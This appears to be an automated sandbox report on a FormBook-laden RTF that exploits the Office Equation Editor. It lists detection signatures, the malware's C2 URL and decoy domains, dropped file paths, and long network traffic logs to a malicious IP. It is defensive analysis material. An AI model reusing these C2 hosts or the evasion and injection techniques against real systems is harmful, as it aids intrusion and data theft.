Windows Analysis Report
na.doc

Overview

General Information

Sample name: na.doc
Analysis ID: 1545184
MD5: 1e6c06ed300dd4d6744f43efd6cc36a2
SHA1: 8aaece78eaab5c434c8b9a88a1b154a09f800d16
SHA256: dbde17546d423c444465c7f4bbecd593e99c4d43136269bb7f1f3be544d716eb
Tags: docuser-abuse_ch
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Initial sample is an obfuscated RTF file
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected FormBook
.NET source code contains potential unpacker
Adds a directory exclusion to Windows Defender
C2 URLs / IPs found in malware configuration
Document exploit detected (process start blacklist hit)
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Modifies the prolog of user mode functions (user mode inline hooks)
Office equation editor drops PE file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Sigma detected: Equation Editor Network Connection
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Binary In User Directory Spawned From Office Application
Sigma detected: Suspicious Microsoft Office Child Process
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to record screenshots
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Powershell Defender Exclusion
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: na.doc Avira: detected
Found malware configuration
Source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.lifeofthobes.uk/btrd/"], "decoy": ["toulouse.gold", "launchyouglobal.com", "margarita-services.com", "dasnail.club", "casa-hilo.com", "hardscapesofflorida.com", "thepositivitypulse.com", "kkmyanev.cfd", "love6ace22.top", "castorcruise.com", "chch6.com", "h59f07jy.cfd", "saatvikteerthyatra.com", "fxsecuretrading-option.com", "mostbet-k1o.click", "36-m.beauty", "ko-or-a-news.com", "eurekatextile.com", "gynlkj.com", "deepsouthcraftsman.com", "bougiebossbabe.com", "202402.xyz", "thecareskin.com", "zimmerli.online", "bathroomconnectsupreme.com", "opmk.monster", "docemimocasamentos.com", "mywayinist.com", "healthyters.com", "mozartchamberorchestra.sydney", "wewillrock.club", "education2jobs.com", "everlastdisposal.com", "valentinascrochet.com", "stewartvaluation.net", "blackphoenix01.xyz", "omnikart.shop", "jejeesclothing.com", "allurepet.site", "futureofaustin.com", "sillylittlestory.com", "inthewoodsdesigns.com", "freshtraining.store", "illuminati4me.com", "jewishlakecounty.com", "devadecoration.com", "nashexshop.com", "martline.website", "affirmationtotebags.com", "golifestyles.com", "telegood.info", "trygenesisx.com", "bestwhitetee.com", "delicatemayhem.com", "redyardcom.com", "solarcyborg.com", "emotieloos.com", "fanatics-international.com", "ballonsmagiques.com", "projektincognito.com", "fcno30.com", "horizonoutdoorservices.com", "couturewrap.com", "mbbwa4wp.cfd"]}
Multi AV Scanner detection for submitted file
Source: na.doc ReversingLabs: Detection: 39%
Yara detected FormBook
Source: Yara match File source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\4q0pGnqqpgTTSL7[1].exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_009640B9 CryptDecodeObject,LocalAlloc,CryptDecodeObject,LocalFree,GetLastError, 10_2_009640B9
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_009569BE memset,CryptSignMessage,CryptSignMessage,GetLastError,GetLastError,GetLastError,LocalAlloc,CryptSignMessage,GetLastError,GetLastError,GetLastError,LocalFree,CertFreeCertificateChain, 10_2_009569BE
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_009579B8 CryptMsgOpenToDecode,GetLastError,GetLastError,GetLastError,CryptMsgUpdate,GetLastError,GetLastError,GetLastError,CertOpenStore,CryptMsgClose, 10_2_009579B8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00957135 CryptVerifyDetachedMessageSignature,GetLastError,GetLastError,GetLastError,GetLastError,CertFreeCertificateContext,CertFreeCertificateChain,CertCloseStore, 10_2_00957135
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00963AD1 CryptProtectData,LocalAlloc,memcpy,LocalFree, 10_2_00963AD1
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0094D3DF CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,LocalFree, 10_2_0094D3DF
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00963C77 CryptUnprotectData,LocalAlloc,memcpy,LocalFree, 10_2_00963C77
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00963DD8 CryptBinaryToStringW,LocalAlloc,CryptBinaryToStringW,LocalFree, 10_2_00963DD8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_009435FC memset,CryptUIDlgViewCertificateW,GetLastError, 10_2_009435FC
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0094D561 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree, 10_2_0094D561
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00963F45 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree, 10_2_00963F45

Exploits
barindex
Office equation editor establishes network connection
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Network connect: IP: 87.120.84.38 Port: 80 Jump to behavior
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ihbgfbin.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ihbgfbin.exe Jump to behavior
Office Equation Editor has been started
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: wntdll.pdb source: ihbgfbin.exe, ihbgfbin.exe, 00000007.00000002.429662493.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 0000000A.00000003.429889200.0000000002100000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 0000000A.00000002.928676089.0000000002410000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 0000000A.00000002.928676089.0000000002290000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 0000000A.00000003.429589348.0000000001FA0000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mstsc.pdb source: ihbgfbin.exe, 00000007.00000002.429868517.0000000002770000.00000040.10000000.00040000.00000000.sdmp, mstsc.exe, mstsc.exe, 0000000A.00000002.928543048.0000000000900000.00000040.80000000.00040000.00000000.sdmp
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_009420E2 PathFindFileNameW,PathAppendW,PathAppendW,GetFileAttributesW,PathAppendW,FindFirstFileW,PathAppendW,FindNextFileW,PathAppendW,FindNextFileW,FindClose, 10_2_009420E2

Software Vulnerabilities
barindex
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 4x nop then pop esi 10_2_000972F9
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: www.education2jobs.com
Source: global traffic DNS query: name: www.lifeofthobes.uk
Source: global traffic DNS query: name: www.thecareskin.com
Source: global traffic DNS query: name: www.opmk.monster
Source: global traffic DNS query: name: www.affirmationtotebags.com
Source: global traffic DNS query: name: www.mbbwa4wp.cfd
Source: global traffic DNS query: name: www.fcno30.com
Source: global traffic DNS query: name: www.ko-or-a-news.com
Source: global traffic DNS query: name: www.launchyouglobal.com
Source: global traffic DNS query: name: www.trygenesisx.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49164 -> 13.248.213.45:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 68.66.226.117:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
